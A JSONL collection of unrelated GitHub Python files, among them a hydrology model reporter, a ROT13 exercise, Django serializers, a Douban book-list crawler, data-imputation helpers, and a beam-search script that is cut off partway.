+{"seq_id":"9824605154","text":"# -*- coding: utf-8 -*-\n\"\"\"This module is used to report data to the disk. After initialization, the :meth:`reporter.Report.step` method is called every timestep, which in turn calls the equivalent methods in honeybees's reporter (to report data from the agents) and the CWatM reporter, to report data from CWatM. The variables to report can be configured in `model.yml` (see :doc:`configuration`). All data is saved in a subfolder (see :doc:`configuration`). \n\n\"\"\"\n\nimport os\nimport pandas as pd\nfrom collections.abc import Iterable\nimport numpy as np\nimport re\nimport xarray as xr\nimport rioxarray as rxr\nfrom pathlib import Path\ntry:\n    import cupy as cp\nexcept ImportError:\n    cp = np\nfrom operator import attrgetter\n\nfrom honeybees.reporter import Reporter as ABMReporter\n\nclass CWatMReporter(ABMReporter):\n    \"\"\"This class is used to report CWatM data to disk. On initialization the export folder is created if it does not yet exist. Then all variables to report are on read from the configuration folder, and the datastructures to save the data are created.\n    \n    Args:\n        model: The GEB model.\n    \"\"\"\n    def __init__(self, model, subfolder=None) -> None:\n        self.model = model\n\n        if subfolder:\n            self.export_folder = os.path.join(self.model.config['general']['report_folder'], subfolder)\n        else:\n            self.export_folder = self.model.config['general']['report_folder']\n        self.maybe_create_export_folder()\n\n        self.variables = {}\n        self.timesteps = []\n\n        if 'report_cwatm' in self.model.config and self.model.config['report_cwatm']:\n            for name, config in self.model.config['report_cwatm'].items():\n                if config['format'] == 'netcdf':\n                    netcdf_path = Path(self.export_folder, name + '.nc')\n                    config['absolute_path'] = str(netcdf_path)\n                    if netcdf_path.exists():\n                        netcdf_path.unlink()\n                    if not 'time_ranges' in config:\n                        if 'substeps' in config:\n                            time = pd.date_range(start=self.model.current_time, periods=(self.model.n_timesteps + 1) * config['substeps'], freq=self.model.timestep_length / config['substeps'], inclusive='left')\n                        else:\n                            time = pd.date_range(start=self.model.current_time, periods=self.model.n_timesteps + 1, freq=self.model.timestep_length)\n                    else:\n                        time = []\n                        for time_range in config['time_ranges']:\n                            start = time_range['start']\n                            end = time_range['end']\n                            if 'substeps' in config:\n                                time.extend(pd.date_range(start=start, end=end + self.model.timestep_length, freq=self.model.timestep_length / config['substeps'], inclusive='left'))\n                            else:\n                                time.extend(pd.date_range(start=start, end=end, freq=self.model.timestep_length))\n                        # exlude time ranges that are not in the simulation period\n                        time = [t for t in time if t >= self.model.current_time and t <= self.model.current_time + (self.model.n_timesteps + 1) * self.model.timestep_length]\n                        # remove duplicates and sort\n                        time = list(dict.fromkeys(time))\n                        time.sort()\n                        if not time:\n                            print(f\"WARNING: None of the time ranges for {name} are in the simulation period.\")\n\n                    self.variables[name] = xr.DataArray(\n                        coords={\n                            'time': time,\n                            'y': self.model.data.grid.lat,\n                            'x': self.model.data.grid.lon,\n                        },\n                        dims=['time', 'y', 'x'],\n                        name=name\n                    )\n                    self.variables[name] = self.variables[name].rio.write_crs(self.model.data.grid.crs).rio.write_coordinate_system()\n                    self.variables[name].to_netcdf(netcdf_path, mode='a', encoding={name: {'zlib': True, 'complevel': 5}})\n                else:\n                    self.variables[name] = []\n        \n        self.step()  # report on inital state\n\n    def decompress(self, attr: str, array: np.ndarray) -> np.ndarray:\n        \"\"\"This function decompresses an array for given attribute.\n        \n        Args:\n            attr: Attribute which was used to get array.\n            array: The array itself.\n\n        Returns:\n            decompressed_array: The decompressed array.\n        \"\"\"\n        return attrgetter('.'.join(attr.split('.')[:-1]))(self.model).decompress(array)\n\n\n    def get_array(self, attr: str, decompress: bool=False) -> np.ndarray:\n        \"\"\"This function retrieves a NumPy array from the model based the name of the variable. Optionally decompresses the array.\n\n        Args:\n            attr: Name of the variable to retrieve. Name can contain \".\" to specify variables are a \"deeper\" level.\n            decompress: Boolean value whether to decompress the array. If True, the class to which the top variable name belongs to must have an equivalent function called `decompress`.\n\n        Returns:\n            array: The requested array.\n\n        Example:\n            Read discharge from `data.grid`. Because :code:`decompress=True`, `data.grid` must have a `decompress` method.\n            ::\n        \n                >>> get_array(data.grid.discharge, decompress=True)\n        \"\"\"\n        slicer = re.search('\\[([0-9]+)\\]$', attr)\n        if slicer:\n            array = attrgetter(attr[:slicer.span(0)[0]])(self.model)\n            array = array[int(slicer.group(1))]\n        else:\n            array = attrgetter(attr)(self.model)\n        if decompress:\n            decompressed_array = self.decompress(attr, array)\n            return array, decompressed_array\n\n        assert isinstance(array, (np.ndarray, cp.ndarray))\n\n        return array\n\n    def export_value(self, name: str, value: np.ndarray, conf: dict) -> None:\n        \"\"\"Exports an array of values to the export folder.\n        \n        Args:\n            name: Name of the value to be exported.\n            value: The array itself.\n            conf: Configuration for saving the file. Contains options such a file format, and whether to export the array in this timestep at all.\n        \"\"\"\n        folder = os.path.join(self.export_folder, name)\n        try:\n            os.makedirs(folder)\n        except OSError:\n            pass\n        if 'format' not in conf:\n            raise ValueError(f\"Export format must be specified for {name} in config file (npy/npz/csv/xlsx).\")\n        fn = f\"{self.timesteps[-1].isoformat().replace('-', '').replace(':', '')}\"\n        if conf['format'] == 'npy':\n            fn += '.npy'\n            fp = os.path.join(folder, fn)\n            np.save(fp, value)\n        elif conf['format'] == 'npz':\n            fn += '.npz'\n            fp = os.path.join(folder, fn)\n            np.savez_compressed(fp, data=value)\n        elif conf['format'] == 'csv':\n            fn += '.csv'\n            fp = os.path.join(folder, fn)\n            if isinstance(value, (np.ndarray, cp.ndarray)):\n                value = value.tolist()\n            if len(value) > 100_000:\n                self.model.logger.info(f\"Exporting {len(value)} items to csv. This might take a long time and take a lot of space. Consider using NumPy (compressed) binary format (npy/npz).\")\n            with open(fp, 'w') as f:\n                f.write(\"\\n\".join([str(v) for v in value]))\n        elif conf['format'] == 'netcdf':\n            if np.isin(np.datetime64(self.model.current_time), self.variables[name].time):\n                if 'substeps' in conf:\n                    self.variables[name].loc[{\"time\": slice(self.model.current_time, self.model.current_time + self.model.timestep_length - self.model.timestep_length / conf['substeps'])}] = value\n                else:\n                    self.variables[name].loc[{\"time\": self.model.current_time}] = value\n                self.variables[name].to_netcdf(self.model.config['report_cwatm'][name]['absolute_path'], mode='a')\n        else:\n            raise ValueError(f\"{conf['format']} not recognized\")\n\n    def step(self) -> None:\n        \"\"\"This method is called after every timestep, to collect data for reporting from the model.\"\"\"\n        self.timesteps.append(self.model.current_time)\n        if 'report_cwatm' in self.model.config and self.model.config['report_cwatm']:\n            for name, conf in self.model.config['report_cwatm'].items():\n                array = self.get_array(conf['varname'])\n                if array is None:\n                    print(f\"variable {name} not found at timestep {self.model.current_time}\")\n                    self.report_value(name, None, conf)\n                else:\n                    if conf['varname'].endswith(\"crop\"):\n                        crop_map = self.get_array('HRU.crop_map')\n                        array = array[crop_map == conf['crop']]\n                    if array.size == 0:\n                        value = None\n                    else:\n                        if conf['function'] == None:\n                            value = self.decompress(conf['varname'], array)\n                        else:\n                            function, *args = conf['function'].split(',')\n                            if function == 'mean':\n                                value = np.mean(array)\n                                if np.isnan(value):\n                                    value = None\n                            elif function == 'nanmean':\n                                value = np.nanmean(array)\n                                if np.isnan(value):\n                                    value = None\n                            elif function == 'sum':\n                                value = np.sum(array)\n                                if np.isnan(value):\n                                    value = None\n                            elif function == 'nansum':\n                                value = np.nansum(array)\n                                if np.isnan(value):\n                                    value = None\n                            elif function == 'sample':\n                                decompressed_array = self.decompress(conf['varname'], array)\n                                value = decompressed_array[int(args[0]), int(args[1])]\n                                assert not np.isnan(value)\n                            else:\n                                raise ValueError()\n                    self.report_value(name, value, conf)\n\n    def report(self) -> None:\n        \"\"\"At the end of the model run, all previously collected data is reported to disk.\"\"\"\n        for name, values in self.variables.items():\n            if isinstance(values, xr.DataArray):\n                values.close()\n                continue\n\n            if isinstance(values[0], Iterable):\n                df = pd.DataFrame.from_dict(\n                    {\n                        k: v\n                        for k, v in zip(self.timesteps, values)\n                    }\n                )\n            else:\n                df = pd.DataFrame(values, index=self.timesteps, columns=[name])\n            export_format = self.model.config['report_cwatm'][name]['format']\n            if export_format == 'csv':\n                df.to_csv(os.path.join(self.export_folder, name + '.' + export_format))\n            elif export_format == 'xlsx':\n                df.to_excel(os.path.join(self.export_folder, name + '.' + export_format))\n            else:\n                raise ValueError(f'save_to format {export_format} unknown')\n\nclass Reporter:\n    \"\"\"This is the main reporter class for the GEB model. On initialization the ABMReporter and CWatMReporter classes are initalized.\n    \n    Args:\n        model: The GEB model.\n    \"\"\"\n    def __init__(self, model):\n        self.model = model\n        subfolder = self.model.scenario\n        if self.model.switch_crops:\n            subfolder += '_switch_crops'\n        self.abm_reporter = ABMReporter(model, subfolder=subfolder)\n        self.cwatmreporter = CWatMReporter(model, subfolder=subfolder)\n\n    @property\n    def variables(self):\n        return {**self.abm_reporter.variables, **self.cwatmreporter.variables}\n\n    @property\n    def timesteps(self):\n        return self.abm_reporter.timesteps\n\n    def step(self) -> None:\n        \"\"\"This function is called at the end of every timestep. This function only forwards the step function to the reporter for the ABM model and CWatM.\"\"\"\n        self.abm_reporter.step()\n        self.cwatmreporter.step()\n\n    def report(self):\n        \"\"\"At the end of the model run, all previously collected data is reported to disk. This function only forwards the report function to the reporter for the ABM model and CWatM. \"\"\"\n        self.abm_reporter.report()\n        self.cwatmreporter.report()","repo_name":"jensdebruijn/GEB","sub_path":"geb/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":13093,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"19920761663","text":"import numpy as np\nfrom scipy.optimize import linprog\nimport sys\n\n# to return the energy of unary factor\ndef unary(vnum):\n    \n    if vnum == 0:\n        return (0.1,0.1)\n    \n    elif vnum == 1:\n        return (0.1,0.9)\n    \n    elif vnum == 2:\n        return (0.9,0.1)\n    \n    else:\n        print('Error: unrecognized input label for unary potential')\n        sys.exit()\n\n# to return energy of pairwise factor\ndef pairwise(vnum1, vnum2, beta):\n    \n    if vnum1 == 0 and vnum2 == 0:\n        return 0.\n    \n    elif vnum1 == 0 and vnum2 == 1:\n        return beta\n    \n    elif vnum1 == 1 and vnum2 == 0:\n        return beta\n    \n    elif vnum1 == 1 and vnum2 == 1:\n        return 0.\n    \n    else:\n        print('Error: unrecognized input label for pairwise potential')\n        sys.exit()\n        \n\nif __name__ == '__main__':\n    \n    # 1.0-attractive, -1.0-repulsive\n    beta = 1.0\n    \n    # indicator variable indices\n    # (v1, v2, state of v1, state of v2)\n    # in the case of unary, v1=v2\n    yidx = {(0,0,0,0): 0,\n            (0,0,1,1): 1,\n            (1,1,0,0): 2,\n            (1,1,1,1): 3,\n            (2,2,0,0): 4,\n            (2,2,1,1): 5,\n            (0,1,0,0): 6,\n            (0,1,0,1): 7,\n            (0,1,1,0): 8,\n            (0,1,1,1): 9,\n            (0,2,0,0): 10,\n            (0,2,0,1): 11,\n            (0,2,1,0): 12,\n            (0,2,1,1): 13,\n            (1,2,0,0): 14,\n            (1,2,0,1): 15,\n            (1,2,1,0): 16,\n            (1,2,1,1): 17}\n    \n    C = np.zeros((18), dtype='float64') #coefficient matrix\n    A = np.zeros((18,18), dtype='float64') #constraint matrix\n    b = np.zeros((18), dtype='float64') #RHS of equality constraint\n    \n    # three variables\n    var = [0, 1, 2]\n    \n    # fill in coefficient matrix C\n    for i in var:\n        #unary energy\n        C[yidx[(i,i,0,0)]] = unary(i)[0]\n        C[yidx[(i,i,1,1)]] = unary(i)[1]\n        \n        for j in var[i+1:]:\n            #pairwise energy\n            C[yidx[(i,j,0,0)]] = pairwise(0, 0, beta)\n            C[yidx[(i,j,0,1)]] = pairwise(0, 1, beta)\n            C[yidx[(i,j,1,0)]] = pairwise(1, 0, beta)\n            C[yidx[(i,j,1,1)]] = pairwise(1, 1, beta)\n    \n    print('Matrix C')\n    print(C)\n    \n    row = 0\n    # fill in constraint matrix\n    for i in var:\n        \n        #e.g. y0_0 + y0_1 = 1\n        A[row,yidx[(i,i,0,0)]] = 1.\n        A[row,yidx[(i,i,1,1)]] = 1.\n        b[row] = 1.\n        \n        row += 1\n        \n        for j in var[i+1:]:\n            # e.g. y0_0 = y01_00 + y01_01\n            A[row, yidx[(i,i,0,0)]] = 1.\n            A[row, yidx[(i,j,0,0)]] = -1.\n            A[row, yidx[(i,j,0,1)]] = -1.\n            \n            row += 1\n            \n            # e.g. y0_1 = y01_10 + y01_11\n            A[row, yidx[(i,i,1,1)]] = 1.\n            A[row, yidx[(i,j,1,0)]] = -1.\n            A[row, yidx[(i,j,1,1)]] = -1.\n            \n            row += 1\n            \n            # e.g. y1_0 = y01_00 + y01_10\n            A[row, yidx[(j,j,0,0)]] = 1.\n            A[row, yidx[(i,j,0,0)]] = -1.\n            A[row, yidx[(i,j,1,0)]] = -1.\n            \n            row += 1\n            \n            # e.g. y1_1 = y01_01 + y01_11\n            A[row, yidx[(j,j,1,1)]] = 1.\n            A[row, yidx[(i,j,0,1)]] = -1.\n            A[row, yidx[(i,j,1,1)]] = -1.\n            \n            row += 1\n            \n            # e.g. y01_00 + y01_01 + y01_10 + y01_11 = 1\n            A[row, yidx[(i,j,0,0)]] = 1.\n            A[row, yidx[(i,j,0,1)]] = 1.\n            A[row, yidx[(i,j,1,0)]] = 1.\n            A[row, yidx[(i,j,1,1)]] = 1.\n            b[row] = 1.\n            \n            row += 1\n    \n    print('Matrix A')\n    print(A)\n    print('Matrix b')  \n    print(b)\n    \n    print('\\n')\n    print('beta: ', beta)\n    \n    res = linprog(c=C, A_eq=A, b_eq=b, options={\"disp\": True})\n    \n    print(res)\n        \n        \n        \n        \n    \n    ","repo_name":"tomldh/mlcv1617","sub_path":"exercise03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34960804530","text":"#!/usr/bin/env python3\n\"\"\"\nThe task\nAdd a python module named rot13.py to the session03 dir in your student dir.\nThis module should provide at least one function called rot13 that takes any\namount of text and returns that same text encrypted by ROT13.\n\nThis function should preserve whitespace, punctuation and capitalization.\n\nYour module should include an if __name__ == '__main__': block with tests (asserts)\n that demonstrate that your rot13 function and any helper functions you add work properly.\n\nordinals…\n“Ordinals” are the numerical values associated with characters. Python stringsl are native unicode,\nso the number values of any character\n\nHints\nNote that the alphabet has 26 letters, so if you “rotate” by 13 letters twice, you will be back were you started.\nSo if you call your function twice on a string, you should get the same string back.\n\nrot13(rot13(something)) == something\n\nThere is a “short-cut” available that will help you accomplish this task. Some spelunking\nin the documentation for strings should help you to find it. If you do find it, using it is completely fair game.\n\nAs usual, add your new file to your local clone right away. Make commits early and often\nand include commit messages that are descriptive and concise.\n\nWhen you are done, if you want me to review it, push your changes to github and issue a pull request.\n\nTry decrypting this:\n\n“Zntargvp sebz bhgfvqr arne pbeare”\n\n\"\"\"\n\n#ord('A') = 65\n#ord('Z') = 90\n#ord('a') = 97\n#ord('z') = 122\n\n\ndef setn(x, low, high):\n    while x > high:\n        x -= 26\n    while x < low:\n        x += 26\n    return x\n#set the high and low\n#>>> set(2, 65,90)\n#80\n#>>> chr(80)\n#'P'\n#>>> setnorm(90, 65,90)\n#90\n#>>> chr(90)\n#'Z'\n\ndef rot13(word, num):\n    some_word = ''\n    for l in word:\n        if l.isupper():\n            some_word += chr(setn(ord(l) + num, 65, 90))\n\n            #https://docs.python.org/3/library/functions.html#ord\n            #For example, ord('A) returns the integer 65\n        elif not l.isalpha():\n            some_word += l\n        else:\n            some_word += chr(setn(ord(l) + num, 97, 122))\n            #https://docs.python.org/3/library/functions.html#chr\n            #For example, chr(97) and chr(122) returns the string 'a' and 'z' respectively\n    return some_word\n\nprint(rot13(\"Zntargvp sebz bhgfvqr arne pbeare\", 13))\n#(if Z=90)+13 = 77 = M etc..\n#Magnetic from outside near corner\n\n\nif __name__ == \"__main__\":\n    print (rot13(\"Zntargvp sebz bhgfvqr arne pbeare\",13))\n\n\n    assert (rot13(\"Zntargvp sebz bhgfvqr arne pbeare\",13) ==\n            \"Magnetic from outside near corner\")\n","repo_name":"UWPCE-PythonCert/IntroPython-2017","sub_path":"students/alinafe/session03/rot13.py","file_name":"rot13.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"6864340859","text":"from rest_framework import serializers\nfrom ytmusicapi import YTMusic\nimport numpy as np\nimport librosa\n\nfrom mir_sys.retriever.retriever import Retriever\nfrom mir_sys.utils.audio_downloader import Downloader\n\nMAX_DURATION_SEC = 15\nMIN_DURATION_SEC = 5\nYT = YTMusic()\n\n\nclass RetrieveReqFileSerializer(serializers.Serializer):\n    MAX_DURATION_SAMPLES = librosa.time_to_samples(MAX_DURATION_SEC, sr=16000)\n    MIN_DURATION_SAMPLES = librosa.time_to_samples(MIN_DURATION_SEC, sr=16000)\n    file_query = serializers.FileField(required=True)\n\n    def validate_file_query(self, value):\n        # if value.content_type != \"audio/wav\":\n        #     raise serializers.ValidationError(\"invalid type\")\n        try:\n            samples, sr = librosa.load(value, sr=16000, res_type=\"kaiser_fast\")\n        except :\n            raise serializers.ValidationError(\"content of file is not valid\")\n        print(samples.shape)\n        if len(samples) > self.MAX_DURATION_SAMPLES:\n            raise serializers.ValidationError(\"size of file is greater than valid size\")\n        elif len(samples) < self.MIN_DURATION_SAMPLES:\n            raise serializers.ValidationError(\"size of file is lower than valid size\")\n        return samples\n\n    def save(self, **kwargs):\n        result = Retriever().retrieve(self.validated_data['file_query'])\n        if result is not None:\n            for i in range(5):\n                try:\n                    self.instance = YT.get_song(result).get('videoDetails', None)\n                    self.instance['url'] = Downloader.get_youtube_urls([result])[0]\n                    return self.instance\n                except Exception as e:\n                    print(str(e))\n                    pass\n        return None\n\n    def to_representation(self, instance):\n        if instance:\n            obj = {\n                \"author\": instance['author'],\n                \"averageRating\": instance['averageRating'],\n                \"title\": instance['title'],\n                \"viewCount\": instance['viewCount'],\n                \"url\": instance['url']\n            }\n            return RetrieveResponseSerializer(instance=obj).data\n        return {}\n\n\nclass RetrieveReqSampleSerializer(serializers.Serializer):\n    MAX_DURATION_SAMPLES = librosa.time_to_samples(MAX_DURATION_SEC, sr=16000)\n    MIN_DURATION_SAMPLES = librosa.time_to_samples(MIN_DURATION_SEC, sr=16000)\n    samples = serializers.ListField(child=serializers.FloatField(), required=True)\n\n    def validate_samples(self, value):\n        if len(value) > self.MAX_DURATION_SAMPLES:\n            raise serializers.ValidationError(\"size of file is greater than valid size\")\n        elif len(value) < self.MIN_DURATION_SAMPLES:\n            raise serializers.ValidationError(\"size of file is lower than valid size\")\n        return np.array(value)\n\n    def save(self, **kwargs):\n        pass\n        # self.result = Retriever().retrieve(self.validated_data['samples'])\n        # return self.result\n\n    def to_representation(self, instance):\n        pass\n\n\nclass RetrieveResponseSerializer(serializers.Serializer):\n    title = serializers.CharField()\n    author = serializers.CharField()\n    averageRating = serializers.FloatField()\n    viewCount = serializers.CharField()\n    url = serializers.URLField()\n","repo_name":"zolfaShefreie/MusicSearchEngine_MIR","sub_path":"mir_sys/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39046841732","text":"from bs4 import BeautifulSoup\nimport re\nimport urllib.request\nimport urllib.error\nimport sqlite3\nimport os\n\n# find the link of detail info of a book\nfindLink_and_title = re.compile(r'<a href=\"(.*?)\" onclick=\"(.*?)\" title=\"(.*?)\">')\n# find the link of cover image of a book\nfindImg = re.compile(r'<img src=\"(.*?)\" width=\"90\"/>')\n# find the rating score of a book\nfindRating = re.compile(r'<span class=\"rating_nums\">(.*?)</span>')\n# find how many people rated a book\nfindJudgeNum = re.compile(r'(\\d*)人评价')\n# find the quote of the book\\\nfindInq = re.compile(r'<span class=\"inq\">(.*?)</span>')\n# find other information, including author, translator, press and price\nfindInfo = re.compile(r'<p class=\"pl\">(.*?)</p>')\n\n\ndef main():\n    base_url = \"https://book.douban.com/top250?start=\"\n    # Get data from url\n    data_list = get_data(base_url)\n\n    # Save Data to a SQLite Database\n    save_path = \"top250books.db\"\n    save_data(data_list, save_path)\n\n\n'''\nInput: URL. This is just a base url and after that is each page url\nOutput: data of all related pages\nA function to get all processed data from related pages\n    - Link of the info of a book\n    - Link of the cover of a book\n    - Title\n    - Rating Score\n    - Number of voters\n    - Quote\n    - Info\n'''\ndef get_data(base_url):\n    # To store data from each page\n    data_list = []\n    for i in range(0, 10):\n        url = base_url + str(i * 25)\n        # Get each page\n        html = get_html(url)\n        # Process each page and get data\n        soup = BeautifulSoup(html, \"html.parser\")\n        for item in soup.find_all(\"tr\", class_=\"item\"):\n            data = []\n            item = str(item)\n\n            link = re.findall(findLink_and_title, item)[0][0]\n            data.append(link)\n\n            imgsrc = re.findall(findImg, item)[0]\n            data.append(imgsrc)\n\n            title = re.findall(findLink_and_title, item)[0][2]\n            data.append(title)\n\n            rating = re.findall(findRating, item)[0]\n            data.append(rating)\n\n            judge = re.findall(findJudgeNum, item)[0]\n            data.append(judge)\n\n            inq = re.findall(findInq, item)\n            if len(inq) == 0:\n                data.append(' ')\n            else:\n                data.append(inq[0])\n\n            info = re.findall(findInfo, item)[0]\n            data.append(info)\n\n            data_list.append(data)\n    return data_list\n\n\n'''\nInput: url\nOutput: html page\nA function to get html page\n'''\ndef get_html(url):\n    # Define a new header send to server.\n    # To avoid anti-crawler test\n    header = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 OPR/67.0.3575.137\"\n    }\n    request = urllib.request.Request(url, headers=header)\n    html = \"\"\n    try:\n        response = urllib.request.urlopen(request)\n        html = response.read().decode(\"utf-8\")\n    except urllib.error.URLError as e:\n        if hasattr(e, \"code\"):\n            print(e.code)\n        if hasattr(e.reason):\n            print((e.reason))\n    return html\n\n\ndef save_data(data_list, save_path):\n    # init a database\n    if not os.path.exists(save_path):\n        init_db(save_path)\n\n    # connect to the database\n    conn = sqlite3.connect(save_path)\n    cur = conn.cursor()\n\n    for data in data_list:\n        for index in range(len(data)):\n            if index == 3 or index == 4:\n                continue\n            data[index] = '\"'+data[index]+'\"'\n        sql = '''\n            insert into top250books(\n            info_link, img_link, title, rate, num_vote, quote, info)\n            values(%s)'''%\",\".join(data)\n        cur.execute(sql)\n        conn.commit()\n    cur.close()\n    conn.close()\n\n\n'''\ncreate a new database\n'''\ndef init_db(save_path):\n    sql = '''\n        create table top250books\n        (\n            id integer primary key autoincrement,\n            info_link text,\n            img_link text,\n            title varchar,\n            rate numeric,\n            num_vote numeric ,\n            quote text,\n            info text\n        )\n    '''\n    conn = sqlite3.connect(save_path)\n    cursor = conn.cursor()\n    cursor.execute(sql)\n    conn.commit()\n    conn.close()\n\n\nif __name__ == \"__main__\":\n    main()\n    print(\"Finish Crawling\")\n","repo_name":"ZhengMichaelLiu/Project_Webcrawler_DoubanTop250Books","sub_path":"crawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"11864461838","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 10 16:22:27 2019\n\n@author: Junming\n\"\"\"\nimport pandas as pd\nimport numpy as np\n\n#将NaN填补为0以及保留至少15个特征的数据\ndef replace_zero(data_path,dest_path,thresh):\n    data = pd.read_csv(data_path)\n    if 'total_case' in data.columns:\n        data = data.dropna(thresh=thresh)\n    data = data.replace(to_replace=np.nan,value=0)\n    data.to_csv(dest_path,index=None)\n    print('填补NaN为0值:finished')\n\n#缺失值处理train:选择前\ndef train_rn_krd(data_path,dest_path,krd):\n    data = pd.read_csv(data_path)\n    columns = list(data.columns)\n    columns.remove('total_cases')\n    for column in columns:\n        for demo in range(len(data[column])):\n            if data[column][demo] == 0:\n                temp_list = list()\n                if krd<demo<len(data[column])-krd:\n                    for i in np.arange(demo - krd, demo):\n                        if data[column][i] > 0:\n                            temp_list.append(data[column][i])\n                    if len(temp_list) == 0:\n                        data[column][demo] = np.mean(data[column])+ np.random.choice\\\n                        (np.arange(-np.std(data[column],ddof=1), np.std(data[column],ddof=1), 0.01))\n                    else:\n                        temp_mean = np.mean(temp_list)\n                        temp_std = np.std(temp_list, ddof=1)\n                        temp_std = 0.01 if np.isnan(temp_std) or temp_std == 0 else temp_std\n                        data[column][demo] = temp_mean + np.random.choice(np.arange(-temp_std, temp_std, 0.01))\n                else:\n                    data[column][demo] = 0\n#    data = data.drop(columns=['city','year','weekofyear','week_start_date','precipitation_amt_mm'])\n    data.to_csv(dest_path,index=None)\n    print('使用前后N周数据±标准差随机填补0值:finished')\n    \ndef train_rn_klabel(data_path,dest_path):\n    data = pd.read_csv(data_path)\n    remove_total_columns = list(data.columns)\n    remove_total_columns.remove('total_cases')\n    for column in remove_total_columns:\n        for i in range(len(data[column])):\n            if data[column][i]==0:\n                feature_list = list()\n                label_value = data['total_cases'][i]\n                for z in range(1, 6):\n                    label_list = list(np.arange(label_value - z, label_value + z))\n                    for m in range(len(data['total_cases'])):\n                        if data['total_cases'][m] in label_list:\n                            feature_list.append(data[column][m])\n                    if len(feature_list)>0:\n                        break\n                if len(feature_list)==0:# 将此标签置为异常数据样本\n                    data['total_case'][i] = -1\n                else:\n                    data[column][i] = np.mean(feature_list) + np.random.choice(np.arange(-np.std(feature_list,ddof=1), np.std(feature_list,ddof=1), 0.01))\n    data = data.drop(columns=['year','weekofyear','week_start_date','precipitation_amt_mm'])\n    data.to_csv(dest_path,index=None)\n    print('使用相同标签±标准差随机填补0值:finished')\n    \ndef train_fillna(data_path,destination_path):\n    data = pd.read_csv(data_path)\n    data.fillna(method='ffill',inplace=True)\n#    data = data.drop(columns=['year', 'weekofyear', 'week_start_date', 'precipitation_amt_mm'])\n    data.to_csv(destination_path,index=None)\n    print('使用上一周非NaN:finished')\n\ndef test_rn_krd(data_path,dest_path):\n    data = pd.read_csv(data_path)\n    for column in data.columns:\n        for i in range(len(data[column])):\n            if data[column][i] == 0:\n                dc_list = list()\n                for m in range(len(data[column])):\n                    if data[column][m]>0:\n                        dc_list.append(data[column][m])\n                data[column][i] = np.mean(dc_list) + np.random.choice(np.arange(-np.std(dc_list,ddof=1), np.std(dc_list,ddof=1), 0.01))\n    data.to_csv(dest_path, index=None)\n    print('测试集使用前后N周数据±标准差随机填补0值:finished')\n    ","repo_name":"jm199504/Competition","sub_path":"Predicting Disease Spread/DL-model/replace_data.py","file_name":"replace_data.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"6829058816","text":"from django.db import models\r\nfrom django.contrib.auth.models import AbstractUser\r\nfrom django.utils.translation import gettext_lazy as _\r\nfrom django.db.models.signals import post_save\r\nfrom django.dispatch import receiver\r\n\r\nfrom .validators import UsernameValidator\r\n\r\nclass User(AbstractUser):\r\n    username_validator = UsernameValidator()\r\n\r\n    username = models.CharField(\r\n        _('username'),\r\n        max_length=30,\r\n        unique=True,\r\n        help_text=_(\r\n            \"\"\"\r\n                Required. 30 characters or fewer. Letters, numbers,\r\n                underscores, and hyphens only.\r\n            \"\"\"\r\n        ),\r\n        validators=[username_validator],\r\n        error_messages={\r\n            'unique': _(\"A user with that username already exists.\"),\r\n        },\r\n    )\r\n\r\nclass Profile(models.Model):\r\n    user = models.OneToOneField(User, on_delete=models.CASCADE)\r\n\r\n@receiver(post_save, sender=User)\r\ndef create_user_profile(sender, instance, created, **kwargs):\r\n    if created:\r\n        Profile.objects.create(user=instance)\r\n    instance.profile.save()\r\n","repo_name":"kenbrichford/deprecated-fetchingtech","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73365835712","text":"import math\nimport numpy as np\nimport random\nfrom operator import itemgetter\n\ndef f1(x,y):\n    return math.sin(x/2)+math.cos(2*y)\ndef f2(x,y):\n    return -abs(x-2)-abs(y/2+1)+3\n\ndef neighbours(record,StepSize,function,beam_width):\n    #neighbours=np.zeros((beam_width*8,3))\n    neighbours=[(0,0,0)]*(8*beam_width)\n    i=0\n    for (x,y,value) in record:\n        neighbours[8*i]=(x-StepSize,y-StepSize,function(x-StepSize,y-StepSize))\n        neighbours[8*i+1]=(x-StepSize,y,function(x-StepSize,y))\n        neighbours[8*i+2]=(x-StepSize,y+StepSize,function(x-StepSize,y+StepSize))\n        neighbours[8*i+3]=(x,y-StepSize,function(x,y-StepSize))\n        neighbours[8*i+4]=(x,y+StepSize,function(x,y+StepSize))\n        neighbours[8*i+5]=(x+StepSize,y-StepSize,function(x+StepSize,y-StepSize))\n        neighbours[8*i+6]=(x+StepSize,y,function(x+StepSize,y))\n        neighbours[8*i+7]=(x+StepSize,y+StepSize,function(x+StepSize,y+StepSize))\n        i=i+1\n    j=0\n    for (x,y,value) in neighbours:\n        if x<0 or 10<x or y<0 or 10<y:\n            neighbours[j]=(0,0,-11)\n        j=j+1\n    return neighbours \n    \ndef BeamSearch(function,StepSize):\n    for beam_width in [2,4,8,16]:\n        summation=0\n        mean=0\n        sq_mean=0\n        sq_sum=0\n        for k in range(100):\n            index=1;\n            record=[(0,0,0)]*beam_width \n            for j in range(beam_width):\n                record[j]=[(random.uniform(0,10),random.uniform(0,10),0)]\n                [(x,y,z)]=record[j]\n                record[j]=(x,y,function(x,y))\n\n            record=sorted(record, key=itemgetter(2), reverse=True)\n            (x_low,y_low,lowest_value)=record[beam_width-1]\n            neighbor_temp = neighbours(record,StepSize,function,beam_width)\n            neighbours_ini=sorted(neighbor_temp, key=itemgetter(2), reverse=True);\n          